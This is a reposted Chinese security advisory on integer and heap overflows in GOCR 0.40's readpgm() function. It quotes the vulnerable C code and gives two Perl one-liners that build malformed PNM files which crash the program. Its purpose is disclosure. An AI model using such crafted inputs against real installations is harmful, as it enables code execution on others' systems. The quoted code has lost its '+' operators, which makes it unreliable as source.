GOCR多个缓冲区溢出漏洞
2008-04-09 04:23:25来源:互联网 阅读 ()
发布日期:2005-04-18
更新日期:2005-04-18
受影响系统:
sourceforge GOCR 0.40描述:
BUGTRAQ ID: 13197
GOCR是一款在GNU公共许可下开发的光学字符识别(OCR)程序。
GOCR中存在本地可利用的堆溢出和整数溢出,可能允许攻击者执行任意代码。
1 readpgm()整数溢出
GOCR在读取特制的PNM文件时存在整数溢出,可能导致堆溢出。有漏洞的代码存在于使用netpbm库的readpgm()函数中:
src/pnm.c:
...
/*
for simplicity only PAM of netpbm is used, the older formats
PBM, PGM and PPM can be handled implicitly by PAM routines (js05)
*/
#ifdef HAVE_PAM_H
void readpgm(char *name, pix * p, int vvv) {
...
/* read pgm */
pnm_readpaminit(fp, &inpam, sizeof(inpam));
p->x = inpam.width;
p->y = inpam.height;
if ( !(p->p = (unsigned char *)malloc(p->x*p->y)) )
F1("Error at malloc: p->p: %d bytes", p->x*p->y);
...
for ( i=0; i < inpam.height; i ) {
pnm_readpamrow(&inpam, tuplerow);
for ( j = 0; j < inpam.width; j ) {
...
p->p[i*inpam.width j] = sample;
...
}
}
}
如果p->x*p->y溢出了整数变量,攻击者就可以为图形缓冲区分配不充分的内存。
2 readpgm()堆溢出
GOCR在读取特制的纯PNM文件(P3格式)时存在堆溢出。有漏洞的代码存在于不使用netpbm库的readpgm()库中:
src/pnm.c:
/*
if PAM not installed, here is the fallback routine,
which is not so powerful
*/
void readpgm(char *name,pix *p,int vvv){
...
pic=(unsigned char *)malloc( nx*ny );
...
if( c2=='3' )for(mod=k=j=i=0;i<nx*ny*3 && !feof(f1);){
c1=read_char(f1);
if( !isdigit(c1) ) { if( !isspace(c1) )F0("unexpected char");
if(1&mod) { k =j; if(mod==5){ pic[i]=k/3; i ; }
j=0; mod=(mod 1)%6; } }
else { j=j*10 c1-'0'; if(!(mod&1)) mod ; };
}
...
pic向量大小仅为nx*ny个元素,但“i<nx*ny*3 && !feof(f1)”时循环结束,因此如果文件有更多字节的话pic向量可能溢出。
<*来源:Overflow.pl (adv@overflow.pl)
链接:http://www.overflow.pl/adv/gocr.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
bash-2.05b$ perl -e 'print "P3\n4 1073741825\n255\n"; print "0 "x1024' >
vuln.pnm bash-2.05b$ ./gocr vuln.pnm
Segmentation fault (core dumped)
堆溢出:
bash-2.05b$ perl -e 'print "P3\n10 10\n255\n"; print "0 "x1024' > vuln.pnm
bash-2.05b$ ./gocr vuln.pnm
Segmentation fault (core dumped)
建议:
厂商补丁:
sourceforge
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://jocr.sourceforge.net/index.html
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash